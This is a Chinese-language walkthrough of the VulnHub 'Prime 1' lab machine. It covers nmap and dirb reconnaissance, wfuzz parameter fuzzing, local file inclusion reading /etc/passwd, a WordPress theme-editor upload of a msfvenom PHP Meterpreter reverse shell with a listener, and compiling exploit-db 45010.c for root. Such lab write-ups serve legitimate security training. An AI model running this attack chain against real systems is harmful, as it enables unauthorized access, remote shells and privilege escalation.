vulnhub-prime1

目录

  • 靶场环境
  • 解题过程

靶场环境

项目 ip
靶机(prime) 未知
攻击机(kali) 10.128.129.128

解题过程

打开靶机,我们只能看见一个登录界面,上面只有半截提示

我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,

javascript 复制代码
nmap -sP 10.128.129.1/24

可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131

得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。

javascript 复制代码
nmap -A -p- -v 10.128.129.131

可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。

javascript 复制代码
http://10.128.129.131/


可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!

javascript 复制代码
dirb http://10.128.129.131/

这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中

javascript 复制代码
http://10.128.129.131/dev

可以看到,页面有了回显,是个提示内容

复制代码
你好

现在你处于 0 级阶段。

在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。

祝您黑客愉快。

大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。

javascript 复制代码
dirb http://10.128.129.131/ -X .txt,.php,.zip

可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问

第一个:image.php

可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示

第二个:secret.txt

这里是一段文本内容

复制代码
看来你有一些秘密。

好的,我只是想帮你一些忙。

在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 
//看到location.txt,你会得到你的下一步//

这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,

知道了大概思路,我们就开干!

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ

可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ 

可以看到,这里我们没有扫到什么东西,看来是猜错了>_<

那么,再试试另外一个php文件吧

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ 

还是一样,过滤掉其他大多数字符

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ 

终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可

javascript 复制代码
http://10.128.129.131/index.php?file=location.txt

可以看到页面有回显了,又是一段提示,翻译过来就是:

复制代码
做得更好

好的,现在你真的在确切的参数上

现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。

看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?

这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?

有,比如/etc/passwd,那么我们试着访问一下

javascript 复制代码
http://10.128.129.131/image.php?secrettier360=/etc/passwd

ke

可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。

提示内容为:

复制代码
find password.txt file in my directory:/home/saket

翻译一下:
在/home/saket目录中找到password.txt

这段提示很眼熟啊,有没有感觉在哪里见过?

在这里,开始的页面,这原来是那半截提示

回到正题,它已经给了我们提示了,那么就试着去访问一下

javascript 复制代码
http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt

果然是有了内容,翻译一下

复制代码
最后,您得到了正确的参数

follow_the_ippsec

这个字符的文件名是password,看来这是一个密码

那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。

关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看

可以看到这个办法不太行

还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。

javascript 复制代码
http://10.128.129.131/wordpress/

可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录

进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?

这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图

那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的

当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破

javascript 复制代码
wpscan --url http://10.128.129.131/wordpress/ --enumerate u

可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配

可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?

wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限

大致思路有了,接下来就是找一个地方,让我们可以编译并运行。

可以看到,我们在右侧选中secret.php时,页面有了提示

复制代码
哦,你终于得到了一个可写的文件

这很明显就是提示了,我们直接在这里写即可

写什么内容呢?

这里我推荐一个MSF模块,它可以帮我们生成文件

javascript 复制代码
msfconsole

只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可

javascript 复制代码
//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php

可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可

javascript 复制代码
cat shell.php


把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口

javascript 复制代码
//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit

好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接

访问地址在哪呢?

这也是wordpress的特征,可以说是固定格式吧

javascript 复制代码
http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php

访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限

我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息

javascript 复制代码
sysinfo

这里获取到了操作系统的版本,是Ubuntu 16.04.2

这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。

javascript 复制代码
searchsploit 16.04 Ubuntu

可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可

再次新开一个命令窗口

javascript 复制代码
//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译

javascript 复制代码
gcc 45010.c -o 45010

好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可

我们切换到msf监听的窗口

javascript 复制代码
upload /root/45010 /tmp/45010

此时我们看看这个文件上传上去后,有没有权限来运行

javascript 复制代码
cd /tmp
ls

可以看到,没有运行的权限,那么我们只需要修改权限即可

javascript 复制代码
//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010

此时就会发现自己是root用户了

相关推荐
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透7 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全